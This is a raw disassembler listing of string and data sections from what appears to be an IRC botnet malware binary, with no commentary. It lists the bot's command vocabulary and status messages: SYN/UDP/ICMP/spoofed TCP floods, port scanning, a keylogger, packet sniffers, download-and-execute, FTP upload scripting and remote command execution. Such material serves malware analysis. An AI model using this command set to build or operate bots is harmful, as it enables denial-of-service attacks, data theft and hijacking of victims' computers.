aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A4C8	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401AC7+69D8o
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401AC7+6935o
		align 10h
dword_42A500	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401AC7+68D6o
		dd 7325203Ah, 0
unk_42A51C	db  2Dh	; -		; DATA XREF: sub_401AC7+68CBo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 10h
unk_42A540	db  2Dh	; -		; DATA XREF: sub_401AC7+6831o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A57C	db  2Dh	; -		; DATA XREF: sub_401AC7+67BBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A5AC	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401AC7:loc_4081BFo
					; sub_401AC7:loc_4091C2o
unk_42A5B8	db  2Dh	; -		; DATA XREF: sub_401AC7+66E3o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A5DC	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_408188o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A614	db  2Dh	; -		; DATA XREF: sub_401AC7+66B7o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A64C	db  2Dh	; -		; DATA XREF: sub_401AC7+6641o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A678	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401AC7+65CAo
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A6B4	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401AC7+655Bo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A6E4	db  2Dh	; -		; DATA XREF: sub_401AC7+64E2o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A71C	db  2Dh	; -		; DATA XREF: sub_401AC7+646Ao
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A74C	db  2Dh	; -		; DATA XREF: sub_401AC7+63E9o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A784	db  2Dh	; -		; DATA XREF: sub_401AC7+6371o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A7B4	db  2Dh	; -		; DATA XREF: sub_401AC7+6301o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A7EC	db  2Dh	; -		; DATA XREF: sub_401AC7+6289o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A828	db  2Dh	; -		; DATA XREF: sub_401AC7+6219o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42A868	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401AC7+61AAo
aDownloadingUrl	db '- Downloading URL: %s to: %s.',0
		align 4
unk_42A894	db  2Dh	; -		; DATA XREF: sub_401AC7+60DEo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A8D8	db  2Dh	; -		; DATA XREF: sub_401AC7+606Fo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A914	db    3			; DATA XREF: sub_401AC7+5F75o
a81Sc@nPortScan	db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401AC7+5EF1o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401AC7+5DF7o
		align 4
dword_42A96C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401AC7+5D69o
					; sub_401AC7+7063o
unk_42A978	db  2Dh	; -		; DATA XREF: sub_401AC7+5D0Ao
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A9B4	db  2Dh	; -		; DATA XREF: sub_401AC7+5C9Bo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42AA04	db    3			; DATA XREF: sub_401AC7+5C04o
					; sub_401AC7+5FE4o
a81Sc@nFailedTo	db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AA3C	db    3			; DATA XREF: sub_401AC7+5B95o
a81Sc@nSPortSca	db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
		db 's for %d minutes using %d threads.',0
		align 4
unk_42AAA4	db    3			; DATA XREF: sub_401AC7+5A1Fo
a81Sc@nFailed_0	db '8,1-SC@N- Failed to start scan, no IP specified.',0
		align 4
unk_42AAD8	db    3			; DATA XREF: sub_401AC7+59C2o
a81Sc@nFailed_1	db '8,1-SC@N- Failed to start scan, port is invalid.',0
		align 4
unk_42AB0C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_407364o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42AB3C	db  2Dh	; -		; DATA XREF: sub_401AC7+5896o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401AC7+587Fo
aSS_1		db '-s:%s',0            ; DATA XREF: sub_401AC7+5868o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401AC7+5848o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401AC7+5824o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401AC7+5813o
		align 4
unk_42ABAC	db  2Dh	; -		; DATA XREF: sub_401AC7+57BAo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401AC7+5797o
		align 4
unk_42ABD4	db    3			; DATA XREF: sub_401AC7+5761o
a81Sc@nAlreadyD	db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC10	db  2Dh	; -		; DATA XREF: sub_401AC7+5702o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_8	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AC48	db  2Dh	; -		; DATA XREF: sub_401AC7+5697o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 10h
unk_42AC90	db  2Dh	; -		; DATA XREF: sub_401AC7+55E9o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42ACC4	db  2Dh	; -		; DATA XREF: sub_401AC7+55B5o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42ACF8	db  2Dh	; -		; DATA XREF: sub_401AC7+5591o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 10h
unk_42AD30	db  2Dh	; -		; DATA XREF: sub_401AC7+54EFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401AC7+54D2o
		align 4
unk_42AD84	db  2Dh	; -		; DATA XREF: sub_401AC7+54BDo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42ADBC	db  2Dh	; -		; DATA XREF: sub_401AC7+544Eo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_42AE04	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_406E6Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42AE3C	db  2Dh	; -		; DATA XREF: sub_401AC7+538Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_10	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AE74	db  2Dh	; -		; DATA XREF: sub_401AC7+5310o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401AC7+5300o
		align 10h
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401AC7+52F9o
unk_42AEB8	db  2Dh	; -		; DATA XREF: sub_401AC7+5264o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401AC7+5254o
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401AC7+523Do
aHcon		db 'hcon',0             ; DATA XREF: sub_401AC7+51C9o
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401AC7+51B6o
unk_42AF00	db  2Dh	; -		; DATA XREF: sub_401AC7+5167o
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401AC7+50F3o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401AC7+5008o
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401AC7+4FF1o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401AC7+4FDAo
		align 4
aVncHttpHostCha	db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401AC7+4FB0o
		align 4
aVnchost	db 'vnchost',0          ; DATA XREF: sub_401AC7+4F93o
aP:					; DATA XREF: sub_401AC7+4F7Co
					; ___:00438318o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401AC7+4F65o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401AC7+4F4Eo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401AC7+4F37o
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401AC7+4F20o
aU:					; DATA XREF: sub_401AC7+4F09o
					; ___:00438328o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401AC7+4EF2o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401AC7+4EDBo
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401AC7+4EC4o
off_42AFEC	dd offset word_587256	; DATA XREF: sub_401AC7+4EADo
dword_42AFF0	dd 637370h		; DATA XREF: sub_401AC7+4E96o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401AC7+4E7Fo
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401AC7+4E59o
aC_action	db 'c_action',0         ; DATA XREF: sub_401AC7+4E42o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401AC7+4E2Bo
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401AC7+4E14o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401AC7+4DFDo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401AC7+4DE6o
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401AC7+4DCFo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401AC7+4DB8o
		align 10h
aNazel		db 'NAZEL',0            ; DATA XREF: sub_401AC7+4D8Ao
					; sub_401AC7+4DA1o
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401AC7+4D73o
		align 10h
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401AC7+4D5Co
		align 4
dword_42B05C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401AC7+4D4Fo
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B098	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401AC7+4CD7o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401AC7+4C5Do
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_401AC7+4C46o
					; sub_401AC7+5225o
aSynflood	db 'synflood',0         ; DATA XREF: sub_401AC7+4C2Fo
		align 10h
unk_42B0E0	db  2Dh	; -		; DATA XREF: sub_401AC7+4C22o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401AC7+4B4Bo
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401AC7+4B34o
					; sub_41364F:loc_41377Bo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401AC7+4B1Do
					; sub_41364F:loc_41375Fo
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401AC7+4B06o
					; sub_41364F+F1o
		align 10h
aClone_0	db 'clone',0            ; DATA XREF: sub_401AC7+4AD8o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401AC7+4AAFo
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401AC7+4A98o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401AC7+4A81o
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401AC7+4A6Ao
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401AC7+4A53o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401AC7+4A3Co
		align 4
aE:					; DATA XREF: sub_401AC7+4A25o
					; ___:004382E8o
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401AC7+4A0Eo
aHadeth		db 'HADETH',0           ; DATA XREF: sub_401AC7+49E0o
					; sub_401AC7+49F7o
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401AC7+49C9o
		align 10h
aDelay		db 'delay',0            ; DATA XREF: sub_401AC7+49B2o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401AC7+499Bo
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401AC7+4984o
					; sub_401AC7+6B38o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401AC7+496Do
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401AC7+4956o
aT3		db 't3',0               ; DATA XREF: sub_401AC7+493Fo
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401AC7+4928o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401AC7+4911o
aC_part		db 'c_part',0           ; DATA XREF: sub_401AC7+48FAo
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401AC7+48E3o
aC_join		db 'c_join',0           ; DATA XREF: sub_401AC7+48CCo
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401AC7+48B5o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401AC7+489Eo
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401AC7+4887o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401AC7+4870o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401AC7+4859o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401AC7+4842o
		align 4
aM:					; DATA XREF: sub_401AC7+482Bo
					; ___:00437FF0o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401AC7+47FDo
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401AC7+47E6o
		align 4
aA:					; DATA XREF: sub_401AC7+47CFo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401AC7+47B8o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401AC7+478Ao
aAa		db 'aa',0               ; DATA XREF: sub_401AC7+4773o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401AC7+475Co
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401AC7+4745o
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401AC7+472Eo
aGh		db 'gh',0               ; DATA XREF: sub_401AC7+4705o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401AC7+46EEo
unk_42B254	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4061A8o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B270	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_40619Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401AC7+4694o
					; sub_4098FD+5F0o
		align 4
unk_42B29C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_406150o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B2BC	db  2Dh	; -		; DATA XREF: sub_401AC7+467Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B2DC	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4060AEo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B2FC	db  2Dh	; -		; DATA XREF: sub_401AC7+45DDo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401AC7+4575o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401AC7+453Fo
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401AC7+4527o
		align 4
unk_42B33C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_405FCBo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B35C	db  2Dh	; -		; DATA XREF: sub_401AC7+44FAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_401AC7+44A9o
		align 4
unk_42B388	db  2Dh	; -		; DATA XREF: sub_401AC7+4476o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401AC7+4452o
aStop		db 'stop',0             ; DATA XREF: sub_401AC7+4424o
					; sub_401AC7+443Bo ...
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401AC7+440Do
		align 4
aKeyloger	db 'keyloger',0         ; DATA XREF: sub_401AC7+43F6o
		align 10h
dword_42B3E0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7:loc_405EB0o
aNoThreadFound_	db '- No thread found.',0
		align 10h
dword_42B400	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7+43DFo
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B438	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7+43B1o
aFailedToSta_13	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B46C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7+4364o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B498	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7+4354o
aAlreadyRunning	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401AC7+4323o
		align 10h
unk_42B4C0	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_405DDDo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoVrxSnifferTh	db '- No VrX sniffer thread found.',0
unk_42B4EC	db  2Dh	; -		; DATA XREF: sub_401AC7+430Co
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxSnifferStop	db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528	db  2Dh	; -		; DATA XREF: sub_401AC7+42DEo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_14	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B564	db  2Dh	; -		; DATA XREF: sub_401AC7+426Fo
		db 3, 34h, 2
		db  53h	; S
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxPacketSniff	db '- VrX packet sniffer active.',0
		align 10h
unk_42B590	db  2Dh	; -		; DATA XREF: sub_401AC7+420Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401AC7+41D6o
dword_42B5B8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401AC7:loc_405C90o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B5E4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401AC7+41BFo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B620	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401AC7+4191o
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B65C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401AC7+4122o
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B68C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401AC7+40BEo
aAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401AC7+409Eo
					; sub_401AC7+41EBo ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401AC7+4089o
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401AC7+4072o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401AC7+405Bo
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401AC7+4044o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401AC7+402Do
aMirc		db 'mirc',0             ; DATA XREF: sub_401AC7+4016o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401AC7+3FFFo
aV:					; DATA XREF: sub_401AC7+3FE8o
					; ___:00437FE4o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401AC7+3FD1o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401AC7+3FBAo
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401AC7+3FA3o
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401AC7+3F8Co
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401AC7+3F5Eo
aDelete		db 'delete',0           ; DATA XREF: sub_401AC7+3F47o
					; sub_401AC7+455Ao
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401AC7+3F30o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401AC7+3F19o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401AC7+3F02o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401AC7+3EEBo
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401AC7+3ED4o
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401AC7+3EBDo
aSe		db 'se',0               ; DATA XREF: sub_401AC7+3EA6o
		align 10h
aO:					; DATA XREF: sub_401AC7+3E78o
					; ___:00438314o
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401AC7+3E61o
					; sub_401AC7+5884o ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401AC7+3E4Ao
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401AC7+3E33o
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401AC7+3E1Co
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401AC7+3E05o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401AC7+3DEEo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401AC7+3DD7o
		align 4
aK:					; DATA XREF: sub_401AC7+3DC0o
					; ___:00438304o
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_401AC7+3DA9o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401AC7+3D7Bo
aPt		db 'pt',0               ; DATA XREF: sub_401AC7+3D64o
		align 10h
aJ:					; DATA XREF: sub_401AC7+3D36o
					; ___:00438300o
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401AC7+3D08o
					; ___:00437FECo ...
		unicode	0, <n>,0
unk_42B788	db  2Dh	; -		; DATA XREF: sub_401AC7+3CD3o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 10h
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401AC7+3C6Ao
aRegister	db 'register',0         ; DATA XREF: sub_401AC7+3C41o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401AC7+3BE6o
		align 4
